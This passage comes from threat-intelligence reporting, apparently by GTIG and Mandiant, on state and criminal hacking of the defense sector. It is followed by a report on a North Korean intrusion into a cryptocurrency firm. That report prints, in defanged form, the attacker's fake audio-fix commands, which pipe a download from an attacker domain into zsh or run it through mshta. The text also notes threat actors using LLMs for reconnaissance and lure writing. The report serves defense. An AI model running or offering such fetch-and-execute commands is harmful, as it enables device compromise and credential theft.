    Since at least 2024, GTIG has identified this Russian espionage cluster exploiting secure messaging apps, targeting primarily Ukrainian military and government entities in addition to individuals and organizations in Moldova, Georgia, France, and the US. Notably, UNC5792 has compromised Signal accounts via the device-linking feature. Specifically, UNC5792 sent its targets altered "group invite" pages that redirected to malicious URLs crafted to link an actor-controlled device to the victim's Signal accounts allowing the threat actor to see victims’ message in real time. The cluster has also leveraged WhatsApp phishing pages and other domains masquerading as Ukrainian defense manufacturing and defense technology companies.

    UNC4221

    UNC4221, another suspected Russian espionage actor active since at least March 2022, has targeted secure messaging apps used by Ukrainian military personnel via tactics similar to those of UNC5792. For example, the cluster leveraged fake Signal group invites that redirect to a website crafted to elicit users to link their account to an actor-controlled Signal instance. UNC4221 has also leveraged WhatsApp phishing pages intended to collect geolocation data from targeted devices.

    UNC4221 has targeted mobile applications used by the Ukrainian military in multiple instances, such as by leveraging Signal phishing kits masquerading as Kropyva, a tactical battlefield app used by the Armed Forces of Ukraine for a variety of combat functions including artillery guidance. Other Signal phishing domains used by UNC4221 masqueraded as a streaming service for UAVs used by the Ukrainian military. The cluster also leveraged the STALECOOKIE Android malware, which was designed to masquerade as an application for Delta, a situational awareness and battlefield management platform used by the Ukrainian military, to steal browser cookies.

    UNC4221 has also conducted malware delivery operations targeting both Android and Windows devices. In one instance, the actor leveraged the "ClickFix" social engineering technique, which lured the target into copying and running malicious PowerShell commands via instructions referencing a Ukrainian defense manufacturer, in a likely attempt to deliver the TINYWHALE downloader. TINYWHALE in turn led to the download and execution of the MESHAGENT remote management software against a likely Ukrainian military entity.

    UNC5976

    Starting in January 2025, the suspected Russian espionage cluster UNC5976 conducted a phishing campaign delivering malicious RDP connection files. These files were configured to communicate with actor-controlled domains spoofing a Ukrainian telecommunications entity. Additional infrastructure likely used by UNC5976 included hundreds of domains spoofing defense contractors including companies headquartered in the UK, the US, Germany, France, Sweden, Norway, Ukraine, Turkey, and South Korea.

    Identified UNC5976 credential harvesting infrastructure spoofing aerospace and defense firms

    Figure 3: Identified UNC5976 credential harvesting infrastructure spoofing aerospace and defense firms

    Wider UNC5976 phishing activity also included the use of drone-themed lure content, such as operational documentation for the ORLAN-15 UAV system, likely for credential harvesting efforts targeting webmail credentials.

    Repurposed PDF document used by UNC5976 purporting to be operational documentation for the ORLAN-15 UAV system

    Figure 4: Repurposed PDF document used by UNC5976 purporting to be operational documentation for the ORLAN-15 UAV system

    UNC6096

    In February 2025, GTIG identified the suspected Russian espionage cluster UNC6096 conducting malware delivery operations via WhatsApp Messenger using themes related to the Delta battlefield management platform. To target Windows users, the cluster delivered an archive file containing a malicious LNK file leading to the download of a secondary payload. Android devices were targeted via malware we track as GALLGRAB, a modified version of the publicly available "Android Gallery Stealer". GALLGRAB collects data that includes locally stored files, contact information, and potentially encrypted user data from specialized battlefield applications.

    UNC5114

    In October 2023, the suspected Russian espionage cluster UNC5114 delivered a variant of the publicly available Android malware CraxsRAT masquerading as an update for the Kropyva app, accompanied by a lure document mimicking official installation instructions.

    Overcoming Technical Limitations with LLMs

    GTIG has recently discovered a threat group suspected to be linked to Russian intelligence services which conducts phishing operations to deliver CANFAIL malware primarily against Ukrainian organizations. Although the actor has targeted Ukrainian defense, military, government, and energy organizations within the Ukrainian regional and national governments, the group has also shown significant interest in aerospace organizations, manufacturing companies with military and drone ties, nuclear and chemical research organizations, and international organizations involved in conflict monitoring and humanitarian aid in Ukraine. 

    Despite being less sophisticated and resourced than other Russian threat groups, this actor recently began to overcome some technical limitations using LLMs. Through prompting, they conduct reconnaissance, create lures for social engineering, and seek answers to basic technical questions for post-compromise activity and C2 infrastructure setup.  

    In more recent phishing operations, the actor masqueraded as legitimate national and local Ukrainian energy organizations to target organizational and personal email accounts. They also imitated a Romanian energy company that works with customers in Ukraine, targeted a Romanian organization, and conducted reconnaissance on Moldovan organizations. The group generates lists of email addresses to target based on specific regions and industries discovered through their research. 

    Phishing emails sent by the actor contain a lure that based on analysis appears to be LLM-generated, uses formal language and a specific official template, and Google Drive links which host a RAR archive containing CANFAIL malware, often disguised with a .pdf.js double extension. CANFAIL is obfuscated JavaScript which executes a PowerShell script to download and execute an additional stage, most commonly a memory-only PowerShell dropper. It additionally displays a fake “error” popup to the victim.

    This group’s activity has been documented by SentinelLABS and the Digital Security Lab of Ukraine in an October 2025 blog post detailing the “PhantomCaptcha" campaign, where the actor briefly used ClickFix in their operations.

    Hacktivist Targeting of Military Drones 

    A subset of pro-Russia hacktivist activity has focused on Ukraine’s use of drones on the battlefield. This likely reflects the critical role that drones have played in combat, as well as an attempt by pro-Russia hacktivist groups to claim to be influencing events on the ground. In late 2025, the pro-Russia hacktivist collective KillNet, for example, dedicated significant threat activity to this. After announcing the collective’s revitalization in June, the first threat activity claimed by the group was an attack allegedly disabling Ukraine’s ability to monitor its airspace for drone attacks. This focus continued throughout the year, culminating in a December announcement in which the group claimed to create a multifunctional platform featuring the mapping of key infrastructure like Ukraine’s drone production facilities based on compromised data. We further detail in the next section operations from pro-Russia hacktivists that have targeted defense sector employees.

    2. Employees in the Crosshairs: Targeting and Exploitation of Personnel and HR Processes in the Defense Sector

    Throughout 2025, adversaries of varying motivations have continued to target the "human layer" including within the DIB. By exploiting professional networking platforms, recruitment processes, and personal communications, threat actors attempt to bypass perimeter security controls to gain insider access or compromise personal devices. This creates a challenge for enterprise security teams, where much of this activity may take place outside the visibility of traditional security detections.

    North Korea’s Insider Threat and Revenue Generation

    Since at least 2019, the threat from the Democratic People’s Republic of Korea (DPRK) began evolving to incorporate internal infiltration via “IT workers” in addition to traditional network intrusion. This development, driven by both espionage requirements and the regime’s need for revenue generation, continued throughout 2025 with recent operations incorporating new publicly available tools. In addition to public reporting, GTIG has also observed evidence of IT workers applying to jobs at defense related organizations. 

    • In June 2025, the US Department of Justice announced a disruption operation that included searches of 29 locations in 16 states suspected of being laptop farms and led to the arrest of a US facilitator and an indictment against eight international facilitators. According to the indictment, the accused successfully gained remote jobs at more than 100 US companies, including Fortune 500 companies. In one case, IT workers reportedly stole sensitive data from a California-based defense contractor that was developing AI technology

    • In 2025, a Maryland-based individual, Minh Phuong Ngoc Vong, was sentenced to 15 months in prison for their role in facilitating a DPRK ITW scheme. According to government documents, in coordination with a suspected DPRK IT worker, Vong was hired by a Virginia-based company to perform remote software development work for a government contract that involved a US government entity's defense program. The suspected DPRK IT worker used Vong’s credentials to log in and perform work under Vong’s identity, for which Vong was later paid, ultimately sending some of those funds overseas to the IT worker. 

    The Industrialization of Job Campaigns 

    Job-themed campaigns have become a significant and persistent operational trend among cyber threat actors, who leverage employment-themed social engineering as a high-efficacy vector for both espionage and financial gain. These operations exploit the trust inherent in the online job search, application, and interview processes, masquerading malicious content as job postings, fake job offers, recruitment documents, and malicious resume-builder applications to trick high-value personnel into deploying malware or providing credentials. 

    North Korean Cyber Operations Targeting Defense Sector Employees 

    North Korean cyber espionage operations have targeted defense technologies and personnel using employment themed social engineering. GTIG has directly observed campaigns conducted by APT45, APT43, and UNC2970 specifically target individuals at organizations within the defense industry.  

    • GTIG identified a suspected APT45 operation leveraging the SMALLTIGER malware to reportedly target South Korean defense, semiconductor, and automotive manufacturing entities. Based on historical activity, we suspect this activity is conducted at least in part to acquire intellectual property to support the North Korean regime in its research and development efforts in the targeted industries; South Korea's National Intelligence Service (NIS) has also reported on North Korean attempts to steal intellectual property toward the aims of producing its own semiconductors for use in its weapons programs.

    • GTIG identified suspected APT43 infrastructure mimicking German and U.S. defense-related entities, including a credential harvesting page and job-themed lure content used to deploy the THINWAVE backdoor. Related infrastructure was also used by HANGMAN.V2, a backdoor used by APT43 and suspected APT43 clusters.  

    • UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The cluster has used Gemini to synthesize open-source intelligence (OSINT) and profile high-value targets to support campaign planning and reconnaissance. UNC2970’s target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This reconnaissance activity is used to gather the necessary information to create tailored, high-fidelity phishing personas and identify potential targets for initial compromise.

    Content of a suspected APT43 phishing page

    Figure 5: Content of a suspected APT43 phishing page

    Iranian Threat Actors Use Recruitment-Themed Campaigns to Target Aerospace and Defense Employees

    GTIG has observed Iranian state-sponsored cyber actors consistently leverage employment opportunities and exploit trusted third-party relationships in operations targeting the defense and aerospace sector. Since at least 2022, groups such as UNC1549 and UNC6446 have used spoofed job portals, fake job offer lures, as well as malicious resume-builder applications for defense firms, some of which specialize in aviation, aerospace, and UAV technology, to trick users/personnel into executing malware or giving up credentials under the guise of legitimate employment opportunities. 

    • GTIG has identified fake job descriptions, portals, and survey lures hosted on UNC1549 infrastructure masquerading as aerospace, technology, and thermal imaging companies, including drone manufacturing entities, to likely target personnel interested in major defense contractors. Likely indicative of their intended targeting, in one campaign UNC1549 leveraged a spoofed domain for a drone-related conference in Asia. 

      • UNC1549 has additionally gained initial access to organizations in the defense and aerospace sector by exploiting trusted connections with third-party suppliers. The group leverages compromised third-party accounts to exploit legitimate access pathways, often pivoting from service providers to their customers. Once access is gained, UNC1549 has focused on privilege escalation by targeting IT staff with malicious emails that mimic authentic processes to steal administrator credentials, or by exploiting less-secure third-party suppliers to breach the primary target’s infrastructure via legitimate remote access services like Citrix and VMware. Post-compromise activities often include credential theft using custom tools like CRASHPAD and RDP session hijacking to access active user sessions. 

    Since at least 2022, the Iranian-nexus threat actor UNC6446 has used resume builder and personality test applications to deliver custom malware primarily to targets in the aerospace and defense vertical across the US and Middle East. These applications provide a user interface - including one likely designed for employees of a UK-based multinational aerospace and defense company - while malware runs in the background to steal initial system reconnaissance data.

    Hiring-themed spear-phishing email sent by UNC1549

    Figure 6: Hiring-themed spear-phishing email sent by UNC1549

    UNC1549 fake job offer on behalf of DJI, a drone manufacturing company

    Figure 7: UNC1549 fake job offer on behalf of DJI, a drone manufacturing company

    China-Nexus Actor Targets Personal Emails of Defense Contractor Employees

    China-nexus threat actor APT5 conducted two separate campaigns in mid to late 2024 and in May 2025 against current and former employees of major aerospace and defense contractors. While employees at one of the companies received emails to their work email addresses, in both campaigns, the actor sent spearphishes to employees’ personal email addresses. The lures were meticulously crafted to align with the targets' professional roles, geographical locations, and personal interests. Among the professional, industry, and training lures the actor leveraged included: 

    • Invitations to industry events, such as CANSEC (Canadian Association of Defence and Security Industries), MilCIS (Military Communications and Information Systems), and SHRM (Society for Human Resource Management). 

    •  Red Cross training courses references.

    • Phishing emails disguised as job offers.

    Additionally, the actor also leveraged hyper-specific and personal lures related to the locations and activities of their targetings, including: 

    • Emails referencing a "Community service verification form" from a local high school near one of the contractor's headquarters.

    • Phishing emails using "Alumni tickets" for a university minor league baseball team, targeting employees who attended the university.

    • Emails purporting to be "open letters" to Boy Scouts of America camp or troop leadership, targeting employees known to be volunteers or parents.

    • Fake guides and registration information leveraging the 2024 election cycle for the state where the employees lived.

    RU Hacktivists Targeting Personnel 

    Doxxing remains a cornerstone of pro-Russia hacktivist threat activity, targeting both individuals within Ukraine’s military and security services as well as foreign allies. Some groups have centered their operations on doxxing to uncover members across specific units/organizations, while others use doxxing to supplement more diverse operations.

    For example, in 2025, the group Heaven of the Slavs (Original Russian: НЕБО СЛАВЯН) claimed to have doxxed Ukrainian defense contractors and military officials; Beregini alleged to identify individuals who worked at Ukrainian defense contractors, including those that it claimed worked at Ukrainian naval drone manufacturers; and PalachPro claimed to have identified foreign fighters in Ukraine, and the group separately claimed to have compromised the devices of Ukrainian soldiers. Further hacktivist activity against the defense sector is covered in the last section of this report.

    3. Persistent Area of Focus For China-Nexus Cyber Espionage Actors 

    The defense industrial base has been an important target for China-nexus threat actors for as long as cyber operations have been used for espionage. One of the earliest observed compromises attributed to the Chinese military’s APT1 group was a firm in the defense industrial sector in 2007. While historical campaigns by actors such as APT40 have at times shown hyper-specific focus in sub-sectors of defense, such as maritime related technologies, in general the areas of defense targeting from China-nexus groups has spanned all domains and supply chain layers. Alongside this focus on defense systems and contractors, Chinese cyber espionage groups have steadily improved their tradecraft over the past several years, increasing the risk to this sector. 

    GTIG has observed more China-nexus cyber espionage missions directly targeting defense and aerospace industry than from any other state-sponsored actors over the last two years. China-nexus espionage actors have used a broad range of tactics in operations, but the hallmark of many operations has been their exploitation of edge devices to gain initial access. We have also observed China-nexus threat groups leverage ORB networks for reconnaissance against defense industrial targets, which complicates detection and attribution.

    Edge vs. not edge 0-days likely exploited by CN actors 2021

    Figure 8: Edge vs. not edge zero-days likely exploited by CN actors 2021 — September 2025

    Drawing from both direct observations and open-source research, GTIG assesses with high confidence that since 2020, Chinese cyber espionage groups have exploited more than two dozen zero-day (0-day) vulnerabilities in edge devices (devices that are typically placed at the edge of a network and often do not support EDR monitoring, such as VPNs, routers, switches, and security appliances) from ten different vendors. This observed emphasis on exploiting 0-days in edge devices likely reflects an intentional strategy to benefit from the tactical advantages of reduced opportunities for detection and increased rates of successful compromises.

    While we have observed exploitation spread to multiple threat groups soon after disclosure, often the first Chinese cyber espionage activity sets we discover exploiting an edge device 0-day, such as UNC4841, UNC3886, and UNC5221, demonstrate extensive efforts to obfuscate their activity in order to maintain long-term access to targeted environments. Notably, in recent years, both UNC3886 and UNC5221 operations have directly impacted the defense sector, among other industries. 

    • UNC3886 is one of the most capable and prolific China-nexus threat groups GTIG has observed in recent years. While UNC3886 has targeted multiple sectors, their early operations in 2022 had a distinct focus on aerospace and defense entities. We have observed UNC3886 employ 17 distinct malware families in operations against DIB targets. Beyond aerospace and defense targets, UNC3886 campaigns have been observed impacting the telecommunications and technology sectors in the US and Asia.   

    • UNC5221 is a sophisticated, suspected China-nexus cyber espionage actor characterized by its focus on exploiting edge infrastructure to penetrate high-value strategic targets. The actor demonstrates a distinct operational preference for compromising perimeter devices—such as VPN appliances and firewalls—to bypass traditional endpoint detection, subsequently establishing persistent access to conduct long-term intelligence collection. Their observed targeting profile is highly selective, prioritizing entities that serve as "force multipliers" for intelligence gathering, such as managed service providers (MSPs), law firms, and central nodes in the global technology supply chain. The BRICKSTORM malware campaign uncovered in 2025, which we suspect was conducted by UNC5221, was notable for its stealth, with an average dwell time of 393 days. Organizations that were impacted spanned multiple sectors but included aerospace and defense. 

    In addition to these two groups, GTIG has analysed other China-nexus groups impacting the defense sector in recent years. 

    UNC3236 Observed Targeting U.S. Military and Logistics Portal

    In 2024, GTIG observed reconnaissance activity associated with UNC3236 (linked to Volt Typhoon) against publicly hosted login portals of North American military and defense contractors, and U.S. and Canadian government domains related to North American infrastructure. The activity leveraged the ARCMAZE obfuscation network to obfuscate its origin. Netflow analysis revealed communication with SOHO routers outside the ARCMAZE network, suggesting an additional hop point to hinder tracking. Targeted entities included a Drupal web login portal used by defense contractors involved in U.S. military infrastructure projects. 

    UNC6508 Search Terms Indicate Interest in Defense Contractors and Military Platforms

    In late 2023, China-nexus threat cluster UNC6508 targeted a US-based research institution through a multi-stage attack that leveraged an initial REDCap exploit and custom malware named INFINITERED. This malware is embedded within a trojanized version of a legitimate REDCap system file and functions as a recursive dropper. It is capable of enabling persistent remote access and credential theft after intercepting the application's software upgrade process to inject malicious code into the next version's core files. 

    The actor used the REDCap system access to collect credentials to access the victim’s email platform filtering rules to collect information related to US national security and foreign policy (Figure 10). GTIG assesses with low confidence that the actors likely sought to fulfill a set of intelligence collection requirements, though the nature and intended focus of the collection effort are unknown.

    Categories of UNC6508 email forwarding triggers

    Figure 9: Categories of UNC6508 email forwarding triggers

    By August 2025, the actors leveraged credentials obtained via INFINITERED to access the institution's environment with legitimate, compromised administrator credentials. They abused the tenant compliance rules to dynamically reroute messages based on a combination of keywords and or recipients. The actors modified an email rule to BCC an actor-controlled email address if any of 150 regex-defined search terms or email addresses appeared in email bodies or subjects, thereby facilitating data exfiltration by forwarding any email that contained at least one of the terms related to US national security, military equipment and operations, foreign policy, and medical research, among others. About a third of the keywords referenced a military system or a defense contractor, with a notable amount related to UAS or counter-UAS systems.

    4. Hack, Leak, and Disruption of the Manufacturing Supply Chain

    Extortion operations continue to represent the most impactful cyber crime threat globally, due to the prevalence of the activity, the potential for disrupting business operations, and the public disclosure of sensitive data such as personally identifiable information (PII), intellectual property, and legal documents. Similarly, hack-and-leak operations conducted by geopolitically and ideologically motivated hacktivist groups may also result in the public disclosure of sensitive data. These data breaches can represent a risk to defense contractors via loss of intellectual property, to their employees due to the potential use of PII for targeting data, and to the defense agencies they support. Less frequently, both financially and ideologically motivated threat actors may conduct significant disruptive operations, such as the deployment of ransomware on operational technology (OT) systems or distributed-denial-of-service (DDoS) attacks.

    Cyber Crime Activity Impacting the Defense Industrial Base and Broader Manufacturing and Industrial Supply Chain

    While dedicated aerospace & defense organizations represent only about 1% of victims listed on data leak sites (DLS) in 2025, manufacturing organizations, many of which directly or indirectly support defense contracts, have consistently represented the largest share of DLS listings by count (Figure 11). This broader manufacturing sector includes companies that may provide dual-use components for defense applications. For example, a significant 2025 ransomware incident affecting a UK automotive manufacturer, who also produces military vehicles, disrupted production for weeks and reportedly affected more than 5,000 additional organizations. This highlights the cyber risk to the broader industrial supply chain supporting the defense capacity of a nation, including the ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks.

    Percent of DLS victims in the manufacturing industry by quarter

    Figure 10: Percent of DLS victims in the manufacturing industry by quarter

    Threat actors also regularly share and/or advertise illicit access to or stolen data from aerospace and defense sector organizations. For example, the persona “miyako,” who has been active on multiple underground forums based on the use of the same username and Session ID, has advertised access to multiple, unnamed, defense contractors over time (Figure 11). While defense contractors are likely not attractive targets for many cyber criminals, given that these organizations typically maintain a strong security posture, a small subset of financially motivated actors may disproportionately target the industry due to dual motivations, such as a desire for notoriety or ideological motivations. For example, the BreachForums actor “USDoD” regularly shared or advertised access to data claimed to have been stolen from prominent defense-related organizations. In a bizarre 2023 interview, USDoD claimed the threat was misdirection and that they were actually targeting a consulting firm, NATO, CEPOL, Europol, and Interpol. USDoD further indicated that they had a personal vendetta and were not motivated by politics. In October 2024, Brazilian authorities arrested an individual accused of being USDoD.

    Advertisement for “US Navy / USAF / USDoD Engineering Contractor”

    Figure 11: Advertisement for “US Navy / USAF / USDoD Engineering Contractor”

    Hacktivist Operations Targeting the Defense Industrial Base

    Pro-Russia and pro-Iran hacktivism operations at times extend beyond simple nuisance-level attacks to high-impact operations, including data leaks and operational disruptions. Unlike financially motivated activity, these campaigns prioritize the exposure of sensitive military schematics and personal personnel data—often through "hack-and-leak" tactics—in an attempt to erode public trust, intimidate defense officials, and influence geopolitical developments on the ground. Robust geopolitically motivated hacktivist activity works not only to advance state interests but also can serve to complicate attribution of threat activity from state-backed actors, which are known to leverage hacktivist tactics for their own ends.

    Notable 2025 hacktivist claims allegedly involving the defense industrial base

    Figure 12: Notable 2025 hacktivist claims allegedly involving the defense industrial base

    Pro-Russia Hacktivism Activity

    Pro-Russia hacktivist actors have collectively dedicated a notable portion of their threat activity to targeting entities associated with Ukraine’s and Western countries’ militaries and in their defense sectors. As we have previously reported, GTIG observed a revival and intensification of activity within the pro-Russia hacktivist ecosystem in response to the launch of Russia’s full-scale invasion of Ukraine in February 2022. The vast majority of pro-Russia hacktivist activity that we have subsequently tracked has likewise appeared intended to advance Russia’s interests in the war. As with the targeting of other high-profile organizations, at least some of this activity appeared primarily intended to generate media attention. However, a review of the related threat activity observed in 2025 also suggest that actors targeting military/defense sectors had more diverse objectives, including seeding influence narratives, monetizing claimed access, and influencing developments on the ground. Some observed attack/targeting trends over the last year include the following:

    • DDoS Attacks: Multiple pro-Russia hacktivist groups have claimed distributed denial-of-service (DDoS) attacks targeting government and private organizations involved in defense. This includes multiple such attacks claimed by the group NoName057(16), which has prolifically leveraged DDoS attacks to attack a range of targets. While this often may be more nuisance-level activity, it demonstrates at the most basic level how defense sector targeting is a part of hacktivist threat activity that is broadly oriented toward targeting entities in countries that support Ukraine. 

    • Network Intrusion: In limited instances, pro-Russia groups claimed intrusion activity targeting private defense-sector organizations. Often this was in support of hack and leak operations. For example, in November 2025, the group PalachPro claimed to have targeted multiple Italian defense companies, alleging that they exfiltrated sensitive data from their networks—in at least one instance, PalachPro claimed it would sell this data; that same month, the group Infrastructure Destruction Squad claimed to have launched an unsuccessful attack targeting a major US arms producer.  

    • Document Leaks: A continuous stream of claimed or otherwise implied hack and leak operations has targeted the Ukrainian military and the government and private organizations that support Ukraine. Beregini and JokerDNR (aka JokerDPR) are two notable pro-Russia groups engaged in this activity, both of which regularly disseminate documents that they claim are related to the administration of Ukraine’s military, coordination with Ukraine’s foreign partners, and foreign weapons systems supplied to Ukraine. GTIG cannot confirm the potential validity of all the disseminated documents, though in at least some instances the sensitive nature of the documents appears to be overstated. 

      • Often, Beregini and JokerDNR leverage this activity to promote anti-Ukraine narratives, including those that appear intended to reduce domestic confidence in the Ukrainian government by alleging things like corruption and government scandals, or that Ukraine is being supplied with inferior equipment

    Pro-Iran Hacktivism Activity

    Pro-Iran hacktivist threat activity targeting the defense sector has intensified significantly following the onset of the Israel-Hamas conflict in October 2023. These operations are characterized by a shift from nuisance-level disruptive attacks to sophisticated "hack-and-leak" campaigns, supply chain compromises, and aggressive psychological warfare targeting military personnel. Threat actors such as Handala Hack, Cyber Toufan, and the Cyber Isnaad Front have prioritized the Israeli defense industrial base—compromising manufacturers, logistics providers, and technology firms to expose sensitive schematics, personnel data, and military contracts. The objective of these campaigns is not merely disruption but the degradation of Israel’s national security apparatus through the exposure of military capabilities, the intimidation of defense sector employees via "doxxing," and the erosion of public trust in the security establishment. 

    • The pro-Iran persona Handala Hack, which GTIG has observed publicize threat activity associated with UNC5203, has consistently targeted both the Israeli Government, as well as its supporting military-industrial complex. Threat activity attributed to the persona has primarily consisted of hack-and-leak operations, but has increasingly incorporated doxxing and tactics designed to promote fear, uncertainty, and doubt (FUD). 

      • On the two-year anniversary of al-Aqsa Flood, the day which Hamas-led militants attacked Israel, Handala launched “Handala RedWanted,” an actor-controlled website supporting a concerted doxxing/intimidation campaign targeting members of Israel’s Armed Forces, its intelligence and national security apparatus, and both individuals and organizations the group claims to comprise Israel’s military-industrial complex. 

      • Following the announcement of RedWanted, the persona has recently signaled an expansion of its operations vis-a-vis the launch of “Handala Alert.” Significant in terms of a potential expansion in the group’s external targeting calculus, which has long prioritized Israel, is a renewed effort by Handala to “support anti-regime activities abroad.” 

    • Ongoing campaigns such as those attributed to the Pro-Iran personas Cyber Toufan (UNC5318) and الجبهة الإسناد السيبرانية (Cyber Isnaad Front) are additionally demonstrative of the broader ecosystem’s longstanding prioritization of the defense sector. 

      • Leveraging a newly-established leak channel on Telegram (ILDefenseLeaks), Cyber Toufan has publicized a number of operations targeting Israel’s military-industrial sector, most of which the group claims to have been the result of a supply chain compromise resulting from its breach of network infrastructure associated with an Israeli defense contractor. According to Cyber Toufan, access to this contractor resulted in the compromise of at least 17 additional Israeli defense contractor organizations.

      • While these activities have prioritized the targeting of Israel specifically, claimed operations have in limited instances impacted other countries. For example, recent threat activity publicized by Cyber Isnaad Front also surrounding the alleged compromise of the aforementioned Israeli defense contractor leaked information involving reported plans by the Australian Defense Force to purchase Spike NLOS anti-tank missiles from Israel

    Conclusion 

    Given global efforts to increase defense investment and develop new technologies the security of the defense sector is more important to national security than ever. Actors supporting nation state objectives have interest in the production of new and emerging defense technologies, their capabilities, the end customers purchasing them, and potential methods for countering these systems. Financially motivated actors carry out extortion against this sector and the broader manufacturing base like many of the other verticals they target for monetary gain. 

    While specific risks vary by geographic footprint and sub-sector specialization, the broader trend is clear: the defense industrial base is under a state of constant, multi-vector siege. The campaigns against defense contractors in Ukraine, threats to or exploitation of defense personnel, the persistent volume of intrusions by China-nexus actors, and the hack, leak, and disruption of the manufacturing base are some of the leading threats to this industry today. To maintain a competitive advantage, organizations must move beyond reactive postures. By integrating these intelligence trends into proactive threat hunting and resilient architecture, the defense sector can ensure that the systems protecting the nation are not compromised before they ever reach the field.

    UNC1069 Targets Cryptocurrency Sector with New Tooling and AI-Enabled Social Engineering

    9 February 2026 at 15:00

    Written by: Ross Inman, Adrian Hernandez


    Introduction

    North Korean threat actors continue to evolve their tradecraft to target the cryptocurrency and decentralized finance (DeFi) verticals. Mandiant recently investigated an intrusion targeting a FinTech entity within this sector, attributed to UNC1069, a financially motivated threat actor active since at least 2018. This investigation revealed a tailored intrusion resulting in the deployment of seven unique malware families, including a new set of tooling designed to capture host and victim data: SILENCELIFT, DEEPBREATH and CHROMEPUSH. The intrusion relied on a social engineering scheme involving a compromised Telegram account, a fake Zoom meeting, a ClickFix infection vector, and reported usage of AI-generated video to deceive the victim.

    These tactics build upon a shift first documented in the November 2025 publication GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Tools where Google Threat Intelligence Group (GTIG) identified UNC1069's transition from using AI for simple productivity gains to deploying novel AI-enabled lures in active operations. The volume of tooling deployed on a single host indicates a highly determined effort to harvest credentials, browser data, and session tokens to facilitate financial theft. While UNC1069 typically targets cryptocurrency startups, software developers, and venture capital firms, the deployment of multiple new malware families alongside the known downloader SUGARLOADER marks a significant expansion in their capabilities.

    Initial Vector and Social Engineering 

    The victim was contacted via Telegram through the account of an executive of a cryptocurrency company that had been compromised by UNC1069. Mandiant identified claims from the true owner of the account, posted from another social media profile, where they had posted a warning to their contacts that their Telegram account had been hijacked; however, Mandiant was not able to verify or establish contact with this executive. UNC1069 engaged the victim and, after building a rapport, sent a Calendly link to schedule a 30-minute meeting. The meeting link itself directed to a spoofed Zoom meeting that was hosted on the threat actor's infrastructure, zoom[.]uswe05[.]us

    The victim reported that during the call, they were presented with a video of a CEO from another cryptocurrency company that appeared to be a deepfake. While Mandiant was unable to recover forensic evidence to independently verify the use of AI models in this specific instance, the reported ruse is similar to a previously publicly reported incident with similar characteristics, where deepfakes were also allegedly used.

    Once in the "meeting," the fake video call facilitated a ruse that gave the impression to the end user that they were experiencing audio issues. This was employed by the threat actor to conduct a ClickFix attack: an attack technique where the threat actor directs the user to run troubleshooting commands on their system to address a purported technical issue. The recovered web page provided two sets of commands to be run for "troubleshooting": one for macOS systems, and one for Windows systems. Embedded within the string of commands was a single command that initiated the infection chain. 

    Mandiant has observed UNC1069 employing these techniques to target both corporate entities and individuals within the cryptocurrency industry, including software firms and their developers, as well as venture capital firms and their employees or executives. This includes the use of fake Zoom meetings and a known use of AI tools by the threat actor for editing images or videos during the social engineering stage. 

    UNC1069 is known to use tools like Gemini to develop tooling, conduct operational research, and assist during the reconnaissance stages, as reported by GTIG. Additionally, Kaspersky recently claimed Bluenoroff, a threat actor that overlaps with UNC1069, is also using GTP-4o models to modify images indicating adoption of GenAI tools and integration of AI into the adversary lifecycle.

    Infection Chain 

    In the incident response engagement performed by Mandiant, the victim executed the "troubleshooting" commands provided in Figure 1, which led to the initial infection of the macOS device.

    system_profiler SPAudioData
    softwareupdate --evaluate-products --products audio --agree-to-license
    curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh
    system_profiler SPSoundCardData
    softwareupdate --evaluate-products --products soundcard
    system_profiler SPSpeechData
    softwareupdate --evaluate-products --products speech --agree-to-license

    Figure 1: Attacker commands shared during the social engineering stage

    A set of "troubleshooting" commands that targeted Windows operating systems was also recovered from the fake Zoom call webpage:

    setx audio_volume 100
    pnputil /enum-devices /connected /class "Audio"
    mshta hxxp://mylingocoin[.]com/audio/fix/6454694440
    wmic sounddev get Caption, ProductName, DeviceID, Status
    msdt -id AudioPlaybackDiagnostic
    exit

    Figure 2: Attacker commands shared when Windows is detected

    Evidence of AppleScript execution was recorded immediately following the start of the infection chain; however, contents of the AppleScript payload could not be recovered from the resident forensic artifacts on the system. Following the AppleScript execution a malicious Mach-O binary was deployed to the system. 

    The first malicious executable file deployed to the system was a packed backdoor tracked by Mandiant as WAVESHAPER. WAVESHAPER served as a conduit to deploy a downloader tracked by Mandiant as HYPERCALL as well as subsequent additional tooling to considerably expand the adversary's foothold on the system. 

    Mandiant observed three uses of the HYPERCALL downloader during the intrusion: 

    1. Execute a follow-on backdoor component, tracked by Mandiant as HIDDENCALL, which provided hands-on keyboard access to the compromised system

    2. Deploy another downloader, tracked by Mandiant as SUGARLOADER

    3. Facilitate the execution of a toehold backdoor, tracked by Mandiant as SILENCELIFT, which beacons system information to a command-and-control (C2 or C&C) server

    Attack chain

    Figure 3: Attack chain

    XProtect 

    XProtect is the built-in anti-virus technology included in macOS. Originally relying on signature-based detection only, the XProtect Behavioral Service (XBS) was introduced to implement behavioral-based detection. If a program violates one of the behavioral-based rules, which are defined by Apple, information about the offending program is recorded in the XProtect Database (XPdb), an SQLite 3 database located at /var/protected/xprotect/XPdb.

    Unlike signature-based detections, behavioral-based detections do not result in XProtect blocking execution or quarantining of the offending program. 

    Mandiant recovered the file paths and SHA256 hashes of programs that had violated one or more of the XBS rules from the XPdb. This included information on malicious programs that had been deleted and could not be recovered. As the XPdb also includes a timestamp of the detection, Mandiant could determine the sequence of events associated with malware execution, from the initial infection chain to the next-stage malware deployments, despite no endpoint detection and response (EDR) product being present on the compromised system. 

    Data Harvesting and Persistence

    Mandiant identified two disparate data miners that were deployed by the threat actor during their access period: DEEPBREATH and CHROMEPUSH. 

    DEEPBREATH, a data miner written in Swift, was deployed via HIDDENCALL—the follow-on backdoor component to HYPERCALL. DEEPBREATH manipulates the Transparency, Consent, and Control (TCC) database to gain broad file system access, enabling it to steal:

    1. Credentials from the user's Keychain

    2. Browser data from Chrome, Brave, and Edge

    3. User data from two different versions of Telegram

    4. User data from Apple Notes

    DEEPBREATH stages the targeted data in a temporary folder location and compresses the data into a ZIP archive, which was exfiltrated to a remote server via the curl command-line utility. 

